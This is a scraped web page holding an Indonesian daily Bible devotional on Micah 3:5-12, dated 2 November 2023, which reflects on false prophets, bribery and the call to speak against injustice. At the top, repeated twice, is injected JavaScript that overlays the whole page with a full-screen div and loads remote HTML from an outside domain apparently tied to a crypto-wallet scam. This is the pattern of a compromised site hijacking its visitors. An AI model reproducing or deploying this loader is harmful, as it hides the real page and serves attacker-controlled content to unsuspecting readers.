const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});
const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});
Kamis, 02 November 2023
Mikha 3 : 5 – 12
Pengantar
Ketidakadilan dan kejahatan ada di sepanjang sejarah dunia. Di masa kini, kita juga masih melihat begitu banyak ketidakadilan dan kejahatan, bahkan juga di dalam keluarga dan masyarakat sekitar kita. Apa yang kita lakukan bila menyaksikan ketidakadilan dan kejahatan? Apakah diam saja ataukah berusaha memberantasnya? Uskup Agung Desmond Tutu pernah berkata, “Jika Anda bersikap netral dalam situasi ketidakadilan berarti Anda memilih berpihak pada para penindas”. Orang percaya dipanggil untuk berani menegakkan keadilan dan memberantas kejahatan seperti yang dilakukan nabi Mikha pada zamannya. Marilah kita merenungkannya!
Pemahaman
Ayat 5-8 : Mengapa nabi Mikha mengecam keras para nabi?
Ayat 9-12 : Apa yang telah dilakukan para penguasa, imam dan para nabi sehingga mereka mendapatkan kecaman dan hukuman?
Pada zaman nabi Mikha, masyarakat Israel hidup mendukakan hati TUHAN. Praktek kelaliman, ketidakadilan, kekerasan dan pelbagai kejahatan ada di mana-mana. Oleh karena itulah nabi Mikha menyampaikan kecaman keras terhadap para pemimpin yang tak peduli dengan kondisi ini. Dalam ayat 5-8, Mikha menyampaikan kecaman keras terhadap para nabi yang lebih menyukai orang kaya daripada orang miskin. Orang-orang kaya diperlakukan istimewa sebab mereka mampu membayar para nabi. Akibatnya pesan-pesan yang disampaikan oleh para nabi selalu menyenangkan hati orang-orang kaya walaupun mereka pelaku ketidakadilan. Jadi mereka tidak menyampaikan pesan TUHAN. Suara kenabian yang menegakkan keadilan dan kebenaran tak terdengar lagi. Oleh karena itu nabi Mikha mengecam mereka dan memberitahukan hukuman yang harus mereka tanggung (ayat 6-7). Mereka akan menerima hukuman dari TUHAN atas kepalsuan pemberitaan yang mereka sampaikan. Nabi Mikha juga menyampaikan kecaman keras kepada para penguasa, para imam dan setiap orang yang hidup dalam ketidakadilan. (ayat 9-11). Para penguasa menerima suap, para
imam melaksanakan tugas dengan menuntut bayaran, para nabi menyampaikan pesan-pesan moral demi mendapatkan uang dan banyak orang merasa nyaman atau terbiasa dengan praktek- praktek yang tidak benar itu. Anehnya mereka melakukan semua itu atas nama TUHAN (ayat 11). Ini berarti mereka menjadikan TUHAN sebagai komoditas yang dapat diperjualbelikan. Mikha menegaskan bahwa mereka akan menerima hukuman dari TUHAN (ayat 12). Dalam sejarah, hukuman itu mereka rasakan saat Yerusalem dan Bait suci dihancurkan pada zaman nabi Yeremia (zaman sesudah Mikha) hingga banyak penduduknya dibuang ke Babel.
Bacaan Alkitab hari ini mengingatkan kita bahwa TUHAN menginginkan umat-Nya untuk terlibat aktif dalam penegakan keadilan dan pemberantasan kekerasan dan kejahatan. Lihatlah di tengah masyarakat kita juga banyak terjadi ketidakadilan dan kejahatan. Jangan diam saja atau malah terlibat menjadi pelaku ketidakadilan dan kejahatan.
Refleksi
Dalam keheningan ingatlah pelbagai kasus korupsi, ketidakadilan, kekerasan dan kejahatan yang terjadi di sekitar Saudara maupun Indonesia secara luas. Apakah Saudara berani menyuarakan aspirasi untuk menghentikan pelbagai tindak ketidakadilan dan kejahatan ?
Tekadku
Ya TUHAN, berikanlah aku keberanian dan hikmat untuk menyuarakan suara kenabian yang menegakkan kebenaran dan keadilan.
Tindakanku
Mulai hari ini aku akan menghentikan sikap tak peduli dan berdiam diri kala melihat ketidakadilan dan kejahatan. Aku akan belajar peduli dengan melakukan tindakan aktif menyuarakan aspirasi untuk menegakkan keadilan dan memberantas kejahatan, mulai dari lingkungan sekitarku.